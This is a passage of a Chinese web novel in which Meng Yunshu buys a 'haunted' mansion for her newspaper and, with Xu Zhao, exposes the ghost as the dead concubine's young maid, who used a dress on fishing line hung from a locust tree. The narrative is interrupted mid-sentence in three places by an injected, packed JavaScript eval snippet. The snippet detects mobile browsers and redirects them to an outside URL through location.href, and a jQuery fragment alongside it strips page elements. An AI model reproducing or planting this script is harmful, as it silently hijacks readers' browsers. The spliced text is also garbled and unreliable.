马车的颠簸将萧谨言的声音摇得磕磕绊绊，却没挡住他的发问：“我看方才那处宅子就挺好，你们为什么非要去那陈府？” “当然是为了省钱。”孟允抒正在脑中模拟演练待会讨价还价的流程，“后续还要置办各种器具，那也是一大笔开销，能省则省。” “钱哪有命重要。”萧谨言苦口婆心地劝着，他觉得自己简直遇见了一群亡命之徒。 在孟允抒不堪其扰时，马车停了下来，她趁此机会赶紧拉着秋盈下车，远离萧谨言。 许昭要上值，萧睿言也要准备赴任之事，只有孟允抒、秋盈和萧谨言前去看宅。前来接引他们的仆人早已在路边恭候多时，将他们迎进陈府，依次带他们视察各个房间的情况。 从临街的房屋出来，走进前院，随着他们深入陈府，周遭的气温似乎越来越冷。 萧谨言搓搓胳膊，悄声问孟允抒：“你有没有觉得这里有股瘆人的寒意？” “你别总是疑神疑鬼。”孟允抒望望四周空荡荡的屋子，打量宅邸布局，“现在府中就我们几个人，且家具器件都被搬空了，自然显得冷清。” 接引人闻声连忙附和道：“夫人说得是，随后待你们把东西搬进来，人再一多，这屋子马上就热闹起来了。走，我们去前面。” 孟允抒随他行至中庭，一棵粗壮高大的槐树兀然闯入她的视线，树冠将庭院上方的空间占据得满满当当，她的甚至有枝叶超出了她的视野范围。 饶是处变不惊的秋盈都发出感叹：“好大的槐树。” 孟允抒打量了一番槐树的树干，估摸着四人合抱有余。 她又将目光上移。今年春季是个暖春，这槐树已经长得枝繁叶茂，有遮天蔽日之势，树枝几乎一直延伸到院墙边。 “怪不得这屋子闹鬼。”萧谨言从震惊中回过神，找到了凶宅的风水依据，“这么大一棵槐树，简直是阴气冲天。” “一种事物是好是坏，还不都是全凭人的一张嘴。”孟允抒觉得这就是典型的心理作用，由果推因很容易受主观因素影响，“那还有句俗话说，‘门前种槐，升官发财’，这不是自相矛盾？” 孟允抒一边听着接引人介绍各个房间的用途，一边要分神和萧谨言辩论，有些应付不过来。 秋盈很默契地替她接过向接引人提问的职责，仔细记下他所说的话。她左右张望一番问道：“东边的那处厢房原本是做什么用的？” 这句话让孟允抒集中注意力，随之看向东厢房。她发现房屋的檐角、圆柱上都附有精巧繁复的装饰，将房间装点得雅致华丽，只是房门紧闭，整间房屋安静地居于墙边，如遗世独立的佳人。 按照萧谨言所讲述的那个陈府怪谈，这应是那名江氏的卧房。 她心生好奇，拜托接引人道：“麻烦你带我们进去看看。” 虽然只是极其短暂的一瞬，孟允抒看到他脸色微变，而后又恢复那副热情的笑颜：“没问题，夫人请随我来。” 房门被推开的同时，上面的灰尘扑簌簌地落下，地面上也扬起阵阵尘埃。孟允抒用手帕掩住口鼻进入，眼前的景象显然是在告诉她，这房间已经很久不曾被打扫过。 她环顾四周，发现这里的大件物品已经不知所踪，应该是已经被其他人搬走或卖出了，只剩下一个小柜子靠在房间一隅。 孟允抒向接引人确认道：“此处可是江姨娘生前所住的房屋？” “是。” 听到肯定回复，萧谨言瞬间面色发白。 接引人见状欲盖弥彰道：“几位不必担心，外面那些流言蜚语都是唬人的。江姨娘并非枉死，只是不小心染上风寒一病不起，因体质娇弱久病未愈，拖得久了导致病情越来越重，最后不治身亡。” 她指着留下的那几件家具问：“为何你们不将这些搬走？” “这些东西都值不了几个钱，为它们再雇脚夫实在不值当。”接引人飞快地搪塞几句，转而催促道，“各位随我去下一间吧。” 他这么急着走，反倒让孟允抒起了疑心。 “且慢。” 孟允抒阻止他的脚步，走到那个柜子前打开柜门。 “啊！” 萧谨言惊呼一声，连忙后退。 孟允抒没被柜子中的物品吓到，却被萧谨言惊得一颤，差点跌坐在地上。 她回头看看用袖子掩面的萧谨言，索性把他拉了过来，奋力按下他的胳膊：“你看清楚了吗就叫，这有什么可怕的？” 萧谨言定睛一看，柜中整齐地摆放着数个木盒，里面放着五花八门的小玩意，有耀眼华贵的金银首饰，也有半新不旧的典籍，还有万花筒、泥偶、鲁班锁等玩具，应是江氏的遗物。 孟允抒回头问那仆人：“这些首饰价格不菲，你们可是将它遗漏在此？” “呦，应该是忘了。”他惊讶道，“近日我们老爷有要事在身，顾不上清点检查这边的物件。” 他的演技相当拙劣，孟允抒一眼就能识破。 “我们老爷吩咐过，今日若在府中发现什么未曾搬走的物件，不必回禀他，直接将它们一并交给夫人便是。”仆人笑容满面地向孟允抒一行人道喜，“几位真是鸿运当头。” “我看是霉运当头。”萧谨言反驳，“你们怎么能把死人用过的东西丢给我们？” “不能这么说。”孟允抒阻止他继续说下去，笑着对仆人说道，“陈老爷慷慨爽利，我十分感激。他的这份好意我收下了。” 仆人见这桩生意做成的可能性极高，眉开眼笑道：“那我们再去下一间看看。” “你怎么敢要江氏的遗物？”萧谨言口不择言，也顾不上那些礼节，义愤填膺地评价孟允抒，“你当真是要钱不要命。” 君子爱财，取之有道。孟允抒虽然精打细算，但也不会接受这种不义之财。 她这样做完全是因为方才脑海中响起的那句话。 【您已触发任务：三日内探明陈府闹鬼疑云，令其摆脱“凶宅”称号。任务完成后可获得60点声望。】 从一开始孟允抒就不相信陈府真的闹鬼，系统发布的任务更是坐实了她的猜测。查找真相需要一个突破口，看接引人的反应，她觉得江姨娘的这些遗物应该与闹鬼传闻密不可分。 不过，现在报社还没有开始运营，自然没有独家印坊印刷小报，等真相大白之后，她要是再去找郭掌柜，他说不定又得坑自己一笔钱。 孟允抒问系统：“如果我没能在限定时间内完成任务，会有什么后果？” 【每超出一天，会倒扣您10点声望值。当声望值为负时，系统会自动与您解绑。】 孟允抒觉得这系统简直是催稿利器。相比之下，她以前所在的报社编辑堪称温柔，至少不会扣她工资。 小不忍则乱大谋，孟允抒认栽地想，等她查明真相，还是去一趟文昌书坊为妙。 整个陈府已经巡察完毕，孟允抒当即决定将此处定为报社地址。 经过萧谨言的一番阻挠，以及和接引人的唇枪舌战之后，孟允抒成功砍下了一百两银子，最终以两千九百两的价格成交。 接引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310341|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一面摇头叹气，一面急不可耐地拿出契纸：“夫人在空白处签字画押即可。” 契纸一式四份，孟允抒签了名，那仆人将其中一张递给孟允抒：“两份分别给您和老爷，另外两份由我们交到官府那边。” 他交代完必须要走的流程和注意事项之后，如释重负般地笑道：“今日这事就算了结了，我在此提前祝各位金玉满堂。” 告别几人后，他转身拔腿就跑，刚才那副从容的模样荡然无存。 孟允抒看着他仓皇逃窜的背影，感觉他像是生怕被江姨娘的冤魂撵上似的。 “事已至此，你发愁也没用。”孟允抒收好契纸，对蹲在墙角的萧谨言说，“你和秋盈先在此处待着，我回府带几个丫鬟小厮来换你，到时候你就可以回去了。” 萧谨言放过眼前那处被他盯得脱落的墙皮，回头问道：“今晚你们值夜？” 孟允抒点头。 这宅邸现在已经交付到他们手里，陈府那边当然是有多远躲多远。孟允抒他们接下来就要开始收拾房屋、置办器具，夜晚总得留几个人在此处看门。 “不成。”萧谨言站起身，目光在孟允抒和秋盈身上游移了几个来回，“今日是我们头一天来许府，哪能直接让你们两个姑娘家守夜。今晚我带人值夜，要是没什么意外情况，明天再换你们来。” 萧谨言的良心居然压倒了他的恐惧。 秋盈对萧谨言了解不深，还不知道他的拧巴：“萧公子，你方才不是还在害怕吗？怎么又说——” “谁怕了？我不怕！”萧谨言打断秋盈的话犟嘴道，他向两人解释：“我到底是男子，阳气重，能镇得住这宅子。” 孟允抒觉得，他这句话的语气听起来更像是自我鼓励。 秋盈见萧谨言方才的表现，有些不放心地提醒他：“可江姨娘是女子，我听闻女鬼更容易缠上男子，萧公子可要当心。” 这原本是一句好心的叮嘱，但在萧谨言听来，秋盈分明是在恐吓他。 “大不了我多带几人便是。”他的声音不自觉地哆嗦起来，“我卧房有柄桃木剑，之前府里有道士来祈福，他们还给我画了几道符咒，我把这些都统统带上，就不信镇不住那冤魂。” 萧谨言的装备相当齐全，但很可惜，它们大概没什么作用。 “你还不如带柄短刀防身。”孟允抒说，“十有八九是有人装神弄鬼，那些对付鬼魂的东西可伤不了人。” 萧谨言疑惑：“你怎么知道？” “陈府闹鬼的结果便是留下一柜的遗物，如果我没有猜错，闹鬼应该与它有关。”孟允抒笑笑，“冤魂的目的多为报仇索命，只有活人才会在意那些身外之物。” 萧谨言思索片刻，认为孟允抒说得在理：“那你为什么不早点说，害得我担心这么久。” 孟允抒理直气壮地回答：“说得早了，我们哪能用不到三千两的价钱买到这么好的宅子？” 萧谨言这才反应过来，她一直在利用自己，故意给接引人制造恐慌情绪，好让她压价。 他咬牙切齿地骂道：“卑鄙小人。” 孟允抒觉得他骂得挺好，这说明她从郭掌柜那学到了点经商之道。 “言归正传。”她对萧谨言交代道，“你赶快回府带人，待会过来换我和秋盈回去。要是今晚有什么异动，等明早我来了之后你告诉我。” 今天是他们来到陈府的第一天，孟允抒也不敢保证那个鬼魂一定会现身；即使她现身了，又会以什么样的方式出现，她也无法确定。在这种情况下，贸然出击很可能会打草惊蛇，不如先让萧谨言打前锋探听情报。 而且，以萧谨言那种一惊一乍的性格和夸张表述，她或许还能从他口中得到一篇《走近科学》的前半段内容。 12. 撞鬼 翌日一早，孟允抒和秋盈乘着马车再次来到陈府。 两人下了车还没来得及进门，便听得里面传来萧谨言的大喊大叫。 “你走路怎么没声音？”他的声音充满恐惧与愤怒，“说话就说话，干什么从后面拍我！” 听见小厮不住地道歉认错，孟允抒推门进去替他解围，屏退了下人对萧谨言笑道：“怎么了，二公子一大早就发这么大的脾气？” “你们终于来了。” 见到孟允抒和秋盈，萧谨言像是见了救命稻草一般，扑过来紧紧攥住她们的衣袖，神情惊惧，瞪着眼睛急速说道：“咱们今天赶紧收拾东西撤吧，别再和这宅子纠缠，回头赶紧把它转手卖了。” 孟允抒看他的反应就知道，他昨晚应该是撞“鬼”了。 她向萧谨言询问详情：“昨夜你可在宅中遇见了什么怪事？” 秋盈将自己的衣袖从他手里抽出，安抚他道：“萧公子，你先冷静，慢慢说。” 萧谨言一屁股跌回椅子上，神色恍惚。他端起桌上的茶盏喝水，因为他的手抖得太厉害，将茶水洒出来不少。 他勉强喝完剩下的半杯茶水，定了定神道：“陈府的闹鬼传言半点不假，我昨晚亲眼见到了那江氏的魂魄，在窗外连声喊冤。” 他深吸一口气，将事情的经过细细道来。 “昨日你们走后，我便按照孟夫人的安排，在前院、中庭、后院的房间中都布下人手，由我把守江氏的卧房。”他幽怨地看了眼孟允抒。 “到了三更左右，在我昏昏欲睡之际，忽然听得窗外隐约传来女子的哭声，与风吹树叶的声音混在一起，听来格外凄凉哀婉，让人心里发毛。这下我也睡不着了，就起身望向窗外。” “原本中庭的三间房中都亮着烛火，我却亲眼见到那两扇窗户里的烛光依次熄灭，院中顿时一片漆黑。” “等等。”孟允抒打断他的话，抓住一个细节问，“那些烛火不是同时熄灭的？” 萧谨言回忆着昨夜的情景，回答道：“不是。两间房中的光亮是分别暗下去的，两者的时间有一定间隔。” 中庭里的三间房屋分布松散，彼此之间都隔着不短的距离，按照正常人的速度，即使从一间跑步奔向另一间，也得花上十几秒。 由此可见，至少在昨晚的中庭当中，作案人员应该只有一个。 孟允抒又问：“昨夜在这两间房中值守的下人怎么说？” “他们说，因为烛火自熄，他们不敢轻举妄动，就在房中静观其变。”萧谨言回答，“我当时也是这样想的，所以凝神盯着窗外的动静，想看看接下来会发生什么。” 孟允抒与秋盈对视一眼，却并未打断萧谨言的话，让他继续说了下去。 “就在我没防备的时候，一个白色身影呼地一下从我窗前飘过，上面还沾有血迹。”他的语气激动起来，“我看得很仔细，普通人根本不可能跑得那么快，而且那罗裙离地半尺，脚不挨地，这不是鬼是什么？” 孟允抒反问：“那你怎么知道她是江氏的冤魂？” “因为这是她自己亲口所说。”萧谨言的声音中满是恐慌，“她说她是这房间的主人，被王夫人设计害死，我待在这扰了她的清净，命我尽快搬出去，否则下场只会比原来陈府中的人更惨。” “我反应过来，赶紧叫大家来抓鬼，可当众人赶到的时候，那鬼魂早都没了踪影。我们在府中上下仔细搜寻，却一无所获。” 说完，他又极力劝说孟允抒与秋盈离开：“这宅子实在太邪乎了，省钱也不是这么个省法，我们还是另寻别处吧。” 孟允抒注意到秋盈在旁边一言不发，蹙着眉头，似乎正在凝神沉思。 她问秋盈：“你对此事有何看法？” “陈府是否真的闹鬼，此事尚无定论。”秋盈显然并不害怕凶宅传闻，话锋一转道，“只是……” 她看看萧公子，又望望孟允抒，似乎是在征询她的意见。 “你想到什么直说便是，我与萧公子都不会见怪。” 萧谨言也点了头，秋盈开口说道：“萧公子该对身边人严加管教。” 孟允抒满意地夸赞道：“姐姐果然敏锐。” 萧谨言不明白这两人在打什么哑谜：“什么意思？” “他们房中烛火自熄，却没有作出半点反应。”秋盈解释，“更何况院中漆黑，危机暗伏，他们为何不尽快赶往公子身边，对你加以保护？” 她的点拨让萧谨言醍醐灌顶：“也就是说，他们当时并不在中庭。” 秋盈默默点头。 “这帮家伙，光拿钱不办事。”萧谨言马上就要起身去找他们理论，孟允抒拦下他说道：“二公子莫急，容我向他们问问详情。” 那两个在中庭值夜的下人很快被传唤过来，忐忑不安地站在孟允抒等人面前。 孟允抒开口问道：“你们可曾见到那江氏的冤魂？” 左边那人连忙回答：“见到了。” 右边的下人则补充道：“白色罗裙，身着血衣，在院中飘忽不定。” 萧谨言在抓鬼时曾向他们描述过鬼魂的特征，这句话不足以成为任何证词。 孟允抒接着问：“那你们有没有听清楚她说了些什么？” “听清楚了。她说她是被王夫人害死的，还说让我们马上搬走。” 孟允抒笑了笑：“你们的房间与萧公子相隔至少五十米远，又有风声干扰，你们二人如何能听清那鬼魂所说的话？” 两个下人支支吾吾地答不上来。 “你们昨晚根本没在中庭。”萧谨言猛一拍桌怒斥道，“说，你们跑哪去了？” 两个下人脸色一白，慌忙向萧谨言讨饶，请他恕罪。 “你们要是如实招来，我兴许还能放过你们。”萧谨言说，“如有半句假话，你们今天下午就给我从萧府出去！” 孟允抒觉得萧谨言素质挺高，都到这个时候了也不会用脏话骂人。 “是，是。” 左边那个仆人坦白道：“昨晚除了您在的东厢房，其余房间都只留一人看守。熬到半夜，我实在觉得无聊，就和他一起去找前院的人聊上一会。” 右边的仆人证实他的话：“我们本想着在一起说说话，清醒一下就回来，没想到刚走就出了这档子事。” 萧谨言又叫来昨晚在前院值守的仆人和他们当面对质，证明其所言属实。 这样看来，烛火自熄之说根本站不住脚。当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310342|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两间房中无人看守，其他人完全有机会进入房中吹灭蜡烛。 从萧谨言提到的女子哭声和说话声也可以推出，装神弄鬼的人很可能是名女性。 而在前后院中值夜的仆人都并未见到鬼魂，她独独在萧谨言看守的东厢房外徘徊，这也从侧面印证了孟允抒最初的猜测，她果真是冲着江氏的遗物来的。 江氏是内宅女子，只有陈府中的人知晓她的住处并清楚她有何遗物。 孟允抒分析着目前掌握的线索，却发现一个疑点。 如果作案人的目的是取得江氏遗物，她是陈府中人，为何不在江氏死后的那段时间内将遗物转移，而偏偏要费尽心机，来叨扰他们这群外人呢？ 看来要想搞清楚事情的真相，她必须抓住这个鬼魂亲身调查一番。 孟允抒看看刚发完一通火的萧谨言，对他笑道：“二公子昨夜辛苦了，今日你先回去歇着，留我们在此处监工看门。” 萧谨言愣了愣，不可思议地问道：“我已经亲眼见到那江氏的冤魂，你们居然不搬走，今晚还要待在此处？” “二公子放心，我已有初步推断，兴许今晚我们就能弄清那鬼魂的真面目了。”孟允抒回答，“若是如此，也能为昨夜的怪象作出解释，不至于让其成为二公子的一处心结。” 萧谨言放心不下孟允抒和秋盈两人，但因他昨日白天忙里忙外，晚上又熬了个通宵，加上见鬼之事让他惊惧不已，府中下人也玩忽职守，值得他劳神的事情太多，他实在是心力交瘁。 “也好，那我回府后再重新派些人来帮你们捉鬼。”萧谨言纠结了一会后终于下定决心，反复叮咛道，“要是情况不妙也不要勉强，性命要紧。我们赶紧从宅子里搬出去就是了。” 孟允抒回府用晚膳时，许昭在桌上提起报社之事，问她置办器具的进展可还顺利。 “一切都好。”说到报社，孟允抒眉飞色舞，滔滔不绝地和许昭说了一大堆白天的见闻，包括她和店家斗智斗勇的过程。 等她反应过来的时候，才发现自己太过聒噪，不好意思地对许昭笑笑：“我打扰公子用膳了。” “不，我觉得你说的甚是有趣。”不知是不是因为孟允抒讲得尽是些市井琐事，她发现许昭的表情是前所未有的放松，始终面带笑意。 他想起另一件事：“对了，昨晚萧公子值夜时，他可曾见到什么异动？” “我正要将此事告知于你。” 孟允抒将萧谨言的见闻以及她的推断全部告诉许昭：“我让萧公子回府了，今晚换我和秋盈值夜，待会得带几个下人一起过去。” 许昭将碗筷放在一边：“此事太过危险，我也随你一同前去。” “不行。”孟允抒一口回绝，“你明日一大早还要上朝，今晚若是值夜，明天怎么能撑得下来？” “无妨。”许昭回答，“刑部若是有急案要审，连续熬几个通宵也是常有的事。” 这句话点醒了孟允抒，许昭在刑部任职，或许他能比自己更快地查出真相。 专业的事自然要交给专业的人办。 “好，那便有劳公子了。” “嗯。”许昭略一点头，对她笑道，“姑娘快些吃吧，待会饭菜该凉了。” 13. 走近科学 当晚，孟允抒封锁前后门，将府中下人分别安排在陈府的各处房间内，让大多数人集中在中庭，留一小部分人看守前后院，并再三叮嘱所有人，在没有接到通知的情况下不得擅离职守。 确保万无一失后，她和秋盈、许昭以及另一名小厮待在东厢房内，守株待兔。 刚入夜时孟允抒还精神抖擞，满怀期待地等着捉鬼，但这份激情没能持续太久，就被瞌睡压了下去。 昏暗的烛光，静谧的环境，全是催眠的好手段。 秋盈见她困得东倒西歪，索性劝她睡一觉：“夫人趴在桌上歇息一会吧。” “不，我要亲眼看看那个鬼的模样。”孟允抒撑起沉重的眼皮，摇摇头让自己清醒些。 在她的视线左右晃动之时，她看见坐在她旁边的许昭还在油灯下看书。 孟允抒瞄了一眼书上密密麻麻的小字，感觉好像更困了。 胤朝没有电，没有手机，更没有网络，一个人晚上在家的时候，除了看书和闲聊以外，似乎也没什么其他的消遣方式。 她想起自己以前熬夜玩手机导致视力下降的事，出言提醒许昭：“许公子，这里光线太暗，你别看书了，伤眼睛。” 他要是近视了，可没有哪个人能给他配副眼镜。 孟允抒见屋里三人都面露倦色，决心和他们聊聊天让大家清醒些。 她随口问许昭：“我见公子平日手不释卷，你是自幼便酷爱读书吗？” “不是。”许昭听从孟允抒的劝告合上书，将手轻轻按在封面上，“我儿时性格顽劣，听见读书便头疼，长大些了才知道在念书上用功。” 这是许昭从未展露出的一面，孟允抒来了兴趣，追问他道：“那你小时候喜欢做些什么？” 听到孟允抒的问题，秋盈和那名小厮也坐直了身子，向许昭投来好奇的目光。 没有人不喜欢听八卦。 面对众人的期待，许昭不好拒绝，就讲起了他的童年旧事。 “我幼时住在一个小村庄里，平日经常和一群同龄伙伴到处做坏事，什么偷鸡摸狗、下河摸鱼、爬树掏鸟窝的事都干，惹得村里人嫌狗厌。” 年幼的孩童多半淘气，他们一旦成群结队，杀伤力更是成倍增长。 孟允抒难以想象，眼前这个冷淡沉静的美男子曾经是个人人喊打的熊孩子。 她用揶揄的语气说道：“没看出来公子身手敏捷，居然还会爬树。” “我那时家贫，日夜饿着肚子，只能花心思找些野味充饥。”许昭有些窘迫地笑笑，“凡是出身乡野的孩子，几乎没有哪个不会爬树。” 民以食为天，尤其在蒙昧无知的幼童眼中，吃饱饭并活下去就是他们最重要的目标。 孟允抒想说些什么来安慰她，却蓦地联想起许昭先前曾问她，与他成婚是否会觉得委屈，他对自己的出身应当十分介怀。若是言语不当，她反而会伤了许昭的自尊。 她盯着桌上的油灯与烛火陷入沉思，却发现火光都一齐向右边倾斜，忽明忽暗地抖动起来。 “起风了。” 孟允抒警觉地望向窗外。 晚风丝丝缕缕地从窗外渗进房间，而后风声越来越大，逐渐转为凄厉的尖啸，院中的树叶也被风声吹得沙沙作响，像是为一场好戏的开幕鼓掌喝彩。 当前已过三更，按照萧谨言的描述，那鬼魂也该来了。 果然，院中忽而响起断断续续的哭声，和着夜风呜咽，哭得人毛骨悚然。 孟允抒抬手示意屋内的人先不要动，屏住呼吸望向窗外。 中庭里的另外两间房依然亮着烛火。 一道白色身影倏地从窗前闪过，孟允抒的视线甚至没能跟上她的速度。 一个饱含愤怒的女声在窗前响起：“昨日我已命令你们搬走，为何你们仍旧停留在此，扰我安宁？” 为了看清那道白色身影的样貌，孟允抒走近窗口高声问道：“打扰姑娘清净实在抱歉，请问你是何人？” 白色衣裙再次从窗前飞过：“此间卧房的主人，陈府江氏。” 这次孟允抒发现，正如萧谨言所说，这鬼魂的裙摆离地面还有一截距离，裙底空荡荡的，并无腿脚的痕迹。 “江姨娘多有误会，我们并非有意扰你，只是想还你一个清白。” 孟允抒用眼神暗示许昭和小厮出门捉鬼，她继续在窗前问话，吸引对方的注意力。 “我听闻姨娘是因重病身亡，这背后是否另有隐情？” “重病身亡？”那女子冷笑一声，“真是个好借口。王夫人——” “老爷小心！” 她的话被院中小厮的惊呼声骤然斩断，再无下文。 孟允抒见状连忙拉着秋盈冲出房门：“情况如何？” 许昭在院中转过身来，将手里的东西拿给孟允抒看：“我出门便见这衣衫在窗前飘荡，用手一扯，它就不再动弹了。” 孟允抒接过他手里的白色衣裙，将它展开，发现上面确实沾染着数片血迹，让人看着触目惊心。 她当即吩咐秋盈和小厮继续守在房中，自己和许昭则去其余房间询问情况。 从前后院走访探查了一圈，值守的下人都说他们不曾离开房间半步，但并未见到鬼魂，也没见到形迹可疑的人员出没。 孟允抒回到东厢房，从秋盈口中听到了同样的答案。 “不过我发现了这个。”秋盈拿来方才的那件血衣，把它凑近烛火，“老爷夫人请看。” 孟允抒看向长衫胸口的位置，发现上面系着一截白色的细线，需要仔细看才能发现。 方才院中光线太暗，他们完全没有察觉到它的痕迹。 孟允抒用手捏了捏那根线，相较于常见的用于缝制衣物的丝线，这根线显然更粗、更有韧性。她将衣物递给许昭，许昭捻弄了一下那条白线，又在灯下观察片刻，得出一个结论。 “鱼线。” 这是一条崭新的线索，但孟允抒没办法将其与先前的事情串联成清晰的逻辑。 许昭也没有再做进一步推断，只是从桌上端起烛台说道：“我再去院中看看。” 孟允抒赞同他的做法。要是能在案发现场发现新的证据，或许能事半功倍。 “我也去。” 她拿了盏油灯，和许昭一同走到院中。 “方才我就是在这里抓住了那件血衣。”许昭停下脚步，给孟允抒划出一个大致范围，“我们在此处找找，看是否还有什么可疑痕迹。” 孟允抒用火光映亮地面，认真察看地上的痕迹，试图从中搜寻出蛛丝马迹来。 “孟姑娘，麻烦你把油灯给我。” 孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310343|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 允抒抬头，却发现许昭站直身子，正仰头望着上空。 她把油灯递给许昭：“你发现什么了？” 许昭没有回应她的问题，只是举起油灯和烛台，将上方的空间照得更亮了些：“姑娘请看。” 借着微弱的光线，孟允抒勉强看清了那处景物的轮廓。她已经明白答案了。 在他们头顶上方，靠近东厢房的位置，槐树的枝条纵横交错。 孟允抒打量了一下这里的枝叶，它们都位于枝条末端，较为纤细，承不住什么重量。她将目光沿着枝条向庭院中心移动，随着枝条离树干越来越近，它的形态也愈发粗壮，完全能够承担一个普通女子的重量。 如果她趴在树上，寻个长竿之类的东西，将鱼线一头绑在竿上，一头系在衣服上，从树上垂下来左右摇动，便能制造出鬼魂四处游荡的景象。 当下唯一的问题是，作案人在哪。 答案显而易见。 入夜后孟允抒就关闭了前后大门，并派了专人把守，陈府中也没有密道、暗门之类的机关，作案人若非武功高强不走寻常路，她就一定还在府中。而在鬼魂出现的前后时间段里，宅子里没有一个人见到院中有人出现，那范围自然就缩小到眼前的这棵大槐树上。 许昭显然也已经得出结论，神情严肃地走向树底。 孟允抒不清楚作案人的具体情况，为以防万一，决定先诈她一下。 她刻意提高了嗓门喊道：“许公子，这么高的树，你能爬上去吗？” 许昭停住脚步，疑惑地看向她：“我没想爬树。直接把她叫下来不就行了？” 真是毫无默契的回答。 孟允抒啼笑皆非，压低声音说道：“你现在没穿公服，也没有逮捕令，她能乖乖听话吗？” 许昭露出一副恍然大悟的表情，赶忙顺着孟允抒的话说下去，大声回答道：“当然没问题，比这再高十米的树我也不在话下。” 好浮夸好做作的演技。 树冠上并未传来孟允抒预料中的动静，她心想，这姑娘还挺沉得住气。 她继续说道：“那就有劳公子帮我找找，我的手帕是不是被风刮到树上去了。” 许昭走到槐树底下，双手环抱树木，脚一蹬地就窜了上去。 孟允抒懵了。 她没把作案人诈下来，反倒把许昭诓上去了。 “你干什么？”她赶紧挥手让许昭下来，“危险。” 许昭不解：“不是你让爬的吗？” “我——”孟允抒这才反应过来，许昭曲解了她的意思。 她只能将计就计，冲着树顶冷声喊道：“那位不知姓名的姑娘，我知道你在树上。要是你愿意主动下来，我们还可以好好谈谈。” 她给许昭使了个眼色：“还是说，你需要我们亲自请你下来？” 许昭又往上爬了几米，树上终于响起一道惊慌失措的女声：“你们别上来，我、我马上下去。” 许昭从树上退下，孟允抒帮他拍了一阵身上的尘土，一个娇小的身影也轻巧地跳到地面上。 “实在抱歉，我并非有意要吓唬各位大人。” 面前这个女孩看起来只有十三四岁，虽然她正在低头认错，但孟允抒并没有从中听出怯懦的情绪。 “你随我到房里来，与我细说缘由。” 14. 她的名字 孟允抒和许昭进了厢房，在桌边的椅子坐下，那小姑娘站在两人面前，用询问的目光看了看他们身后的秋盈。 秋盈会意地上前介绍：“这位是许老爷，这是孟夫人。” 接着那姑娘便“扑通”一声跪在地上，磕了几个响头：“我绝非故意装神弄鬼，请老爷夫人恕罪。” 孟允抒经不住这样的大礼，差点条件反射地从椅子上蹦起来。 她赶紧说道：“你不用跪我，起来说话。” 女孩站起身来，微微弓起身子，作出俯首认错的模样。 孟允抒习惯通过对方的神态和表情判断其心理活动，于是开口说道：“你把头抬起来，看着我。” 小姑娘按她的命令照做，将面容全部呈现在孟允抒眼前。 这女孩生着一对灵秀的杏眼，在烛火的映照下流光溢彩，微抿的嘴角中莫名显露出狡黠的气息，打眼一看就是个伶俐的姑娘。 孟允抒先从最简单的问题说起：“你叫什么名字，今年几岁了？” “回夫人的话，我叫排云，今年十三。” 孟允抒从她的名字中得出一个结论：“你是陈府中的丫鬟？” 排云点头：“是。” “你为何要装神弄鬼吓唬我们，屡次想把我们赶走？” 孟允抒见排云飞快地瞟了她一眼，直觉告诉她排云接下来所说的话不可信。 她看了看身边的许昭,决定发动狐假虎威的技能。 “这位是刑部郎中许大人，若你有半句假话，我们就会把你抓起来交给官府，定你一个居心叵测，谋财害命的罪名。” 许昭见状，也十分配合地装腔作势，神情威严地点点头。 孟允抒在心里给许昭点了个赞，他的演技真是突飞猛进。 排云没想到许昭是这般来头，赶忙给孟允抒回话：“我说，我说。” 她踌躇片刻又问：“若我如实回答，请问老爷夫人能否保我性命？” “若你并非作奸犯科之徒，我们定然不会加罪于你。” 得到许昭的保证，排云心里似乎有了底，老实回答道：“我只是不想让你们待在江姨娘的房间里，不愿让你们动她的遗物。” 孟允抒有了一个猜测：“你是侍奉江氏的丫鬟？” “对。” “那陈府中闹鬼的事，全是你一手策划？” “是。”排云的声音激动起来，“但我敢发誓，我从未害过他们性命，老爷和下人的死与我无关。” 孟允抒逮住这个关键点问道：“那你说说，陈老爷和府中下人的死因是什么？” “陈老爷是个好色之徒，整日在外寻欢作乐，一早就得了花柳病，他死有余辜。”排云愤慨地骂道，“至于那些下人，则是因为分赃不均互相陷害，导致几人没了性命。” 孟允抒觉得这样东一榔头西一棒追的问答太过混乱，索性让她从头讲起：“你把事情的来龙去脉讲一遍，从你侍奉江氏开始，到你口中所说的她被王夫人设计害死，再到后面你装鬼的事，一一向我们道来。” 排云点头应允。 “江姨娘原本是个小户人家的小姐，她母亲早逝，后来父亲去世家道中落，她继母决定趁早将她嫁给别人，好捞一笔巨额彩礼。陈老爷从旁人那得知此事，因为垂涎江姨娘的美貌和才情，不惜花高价将她迎娶进门。” 排云的声音非常低落。 